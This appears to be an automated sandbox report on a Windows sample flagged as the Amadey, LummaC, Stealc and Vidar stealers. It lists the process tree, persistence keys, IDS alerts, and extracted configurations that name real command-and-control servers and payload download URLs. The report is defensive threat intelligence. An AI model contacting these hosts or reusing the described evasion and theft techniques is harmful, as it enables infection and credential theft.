Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1571592
MD5:	426c4cc5cc662dbf06c9232c69e5d989
SHA1:	66ef4347c88c6f9e42f6fadcd8bc241c3ebff11c
SHA256:	69877dd837ed30807eb6255dd96d4031f1473a677decb52b023e260c1d7aa851
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Found pyInstaller with non standard icon

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 3040 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 426C4CC5CC662DBF06C9232C69E5D989)

chrome.exe (PID: 4440 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6548 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=1984,i,16614534286300256734,1037011460224527743,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7776 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7996 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2156,i,937543281221703452,12637460150167344842,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 7224 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FHCGCAAKJD.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

FHCGCAAKJD.exe (PID: 5084 cmdline: "C:\Users\user\Documents\FHCGCAAKJD.exe" MD5: 0BC8514721CCB995FA1072D8F167D532)

skotes.exe (PID: 4400 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 0BC8514721CCB995FA1072D8F167D532)

msedge.exe (PID: 8032 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7400 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1992,i,295519456222836343,140382832148699311,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 1480 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 0BC8514721CCB995FA1072D8F167D532)

skotes.exe (PID: 3788 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 0BC8514721CCB995FA1072D8F167D532)

ziNGMDa.exe (PID: 7928 cmdline: "C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe" MD5: 53306653E88891DA35BDFC1330A2DAFD)

conhost.exe (PID: 7936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ziNGMDa.exe (PID: 7368 cmdline: "C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe" MD5: 53306653E88891DA35BDFC1330A2DAFD)

eb02f9ad86.exe (PID: 7636 cmdline: "C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe" MD5: 019E86910ED71E979BC9F08877BC950D)

0eb65aaf2f.exe (PID: 7308 cmdline: "C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe" MD5: AEA9554A885748E0394687CC80792951)

8b4f365c71.exe (PID: 3924 cmdline: "C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe" MD5: 426C4CC5CC662DBF06C9232C69E5D989)

20bbca6d77.exe (PID: 1408 cmdline: "C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe" MD5: B3A5FCB520F185D12B7A23956D484580)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["impend-differ.biz", "formy-spill.biz", "se-blurry.biz", "atten-supporse.biz", "covery-mover.biz", "print-vexer.biz", "dare-curbys.biz", "dwell-exclaim.biz", "zinc-sneark.biz"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.2701809215.0000000000071000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.3253234338.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000002.2701812100.0000000000071000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000002.3330555675.0000000004B30000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000015.00000002.3325258344.0000000000FCC000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1610:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000017.00000002.3313122843.0000000000D7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000002.3320333339.0000000000071000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2627096848.00000000002F1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.2664934156.0000000000241000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2628818286.000000000113E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.3326687445.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.3311695557.0000000000301000.00000040.00000001.01000000.0000001B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2059366246.0000000004F00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 3040	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3040	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3040	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3040	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 0eb65aaf2f.exe PID: 7308	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 0eb65aaf2f.exe PID: 7308	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0eb65aaf2f.exe PID: 7308	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8b4f365c71.exe PID: 3924	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 8b4f365c71.exe PID: 3924	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author
17.2.skotes.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.skotes.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.skotes.exe.70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.FHCGCAAKJD.exe.240000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3788, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\0eb65aaf2f.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 3040, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 4440, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3788, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\0eb65aaf2f.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:28:49.203567+0100	2028371	3	Unknown Traffic	192.168.2.5	49995	172.67.165.166	443	TCP
2024-12-09T15:30:48.015789+0100	2028371	3	Unknown Traffic	192.168.2.5	49956	172.67.165.166	443	TCP
2024-12-09T15:30:50.198808+0100	2028371	3	Unknown Traffic	192.168.2.5	49962	172.67.165.166	443	TCP
2024-12-09T15:30:52.908331+0100	2028371	3	Unknown Traffic	192.168.2.5	49967	172.67.165.166	443	TCP
2024-12-09T15:30:56.354907+0100	2028371	3	Unknown Traffic	192.168.2.5	49976	172.67.165.166	443	TCP
2024-12-09T15:30:59.459813+0100	2028371	3	Unknown Traffic	192.168.2.5	49984	172.67.165.166	443	TCP
2024-12-09T15:31:02.839290+0100	2028371	3	Unknown Traffic	192.168.2.5	49989	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:30:48.912419+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49956	172.67.165.166	443	TCP
2024-12-09T15:30:51.199345+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49962	172.67.165.166	443	TCP
2024-12-09T15:31:03.577151+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49989	172.67.165.166	443	TCP
2024-12-09T15:31:05.832388+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49995	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:30:48.912419+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49956	172.67.165.166	443	TCP
2024-12-09T15:31:03.577151+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49989	172.67.165.166	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:30:51.199345+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49962	172.67.165.166	443	TCP
2024-12-09T15:31:05.832388+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49995	172.67.165.166	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:28:49.203567+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49995	172.67.165.166	443	TCP
2024-12-09T15:30:48.015789+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49956	172.67.165.166	443	TCP
2024-12-09T15:30:50.198808+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49962	172.67.165.166	443	TCP
2024-12-09T15:30:52.908331+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49967	172.67.165.166	443	TCP
2024-12-09T15:30:56.354907+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49976	172.67.165.166	443	TCP
2024-12-09T15:30:59.459813+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49984	172.67.165.166	443	TCP
2024-12-09T15:31:02.839290+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.5	49989	172.67.165.166	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:30:30.894008+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49912	185.215.113.43	80	TCP
2024-12-09T15:30:39.389717+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49933	185.215.113.43	80	TCP
2024-12-09T15:30:47.954599+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49954	185.215.113.43	80	TCP
2024-12-09T15:30:56.574064+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49973	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:30:46.624832+0100	2057921	1	Domain Observed Used for C2 Detected	192.168.2.5	58434	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:28:58.984422+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:28:58.863787+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:28:59.309963+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:29:00.732991+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:28:59.433476+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:30:53.875106+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49967	172.67.165.166	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:28:58.402557+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-09T15:30:58.309443+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49978	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:30:06.533937+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49854	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:30:29.548701+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49860	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:30:11.030805+0100	2803305	3	Unknown Traffic	192.168.2.5	49866	31.41.244.11	80	TCP
2024-12-09T15:30:32.525118+0100	2803305	3	Unknown Traffic	192.168.2.5	49917	31.41.244.11	80	TCP
2024-12-09T15:30:41.016802+0100	2803305	3	Unknown Traffic	192.168.2.5	49938	185.215.113.16	80	TCP
2024-12-09T15:30:49.433675+0100	2803305	3	Unknown Traffic	192.168.2.5	49958	185.215.113.16	80	TCP
2024-12-09T15:30:58.033179+0100	2803305	3	Unknown Traffic	192.168.2.5	49979	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T15:29:01.925915+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-09T15:29:29.313716+0100	2803304	3	Unknown Traffic	192.168.2.5	49767	185.215.113.206	80	TCP
2024-12-09T15:29:31.238543+0100	2803304	3	Unknown Traffic	192.168.2.5	49767	185.215.113.206	80	TCP
2024-12-09T15:29:32.537985+0100	2803304	3	Unknown Traffic	192.168.2.5	49767	185.215.113.206	80	TCP
2024-12-09T15:29:33.642756+0100	2803304	3	Unknown Traffic	192.168.2.5	49767	185.215.113.206	80	TCP
2024-12-09T15:29:37.308537+0100	2803304	3	Unknown Traffic	192.168.2.5	49767	185.215.113.206	80	TCP
2024-12-09T15:29:38.215133+0100	2803304	3	Unknown Traffic	192.168.2.5	49767	185.215.113.206	80	TCP
2024-12-09T15:29:43.711227+0100	2803304	3	Unknown Traffic	192.168.2.5	49805	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://atten-supporse.biz/apiEd7sSF1Bg=	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllfI	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exeuW	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/?:	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllUI))	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/well/random.exe.T	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/7993434781/ziNGMDa.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exeJW	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apiUv	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/V:y)	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/well/random.exen	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/6gG	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllLJ	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php8rD	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000F.00000002.2701809215.0000000000071000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 8b4f365c71.exe.3924.23.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: 0eb65aaf2f.exe.7308.22.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["impend-differ.biz", "formy-spill.biz", "se-blurry.biz", "atten-supporse.biz", "covery-mover.biz", "print-vexer.biz", "dare-curbys.biz", "dwell-exclaim.biz", "zinc-sneark.biz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	ReversingLabs: Detection: 23%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Joe Sandbox ML: detected
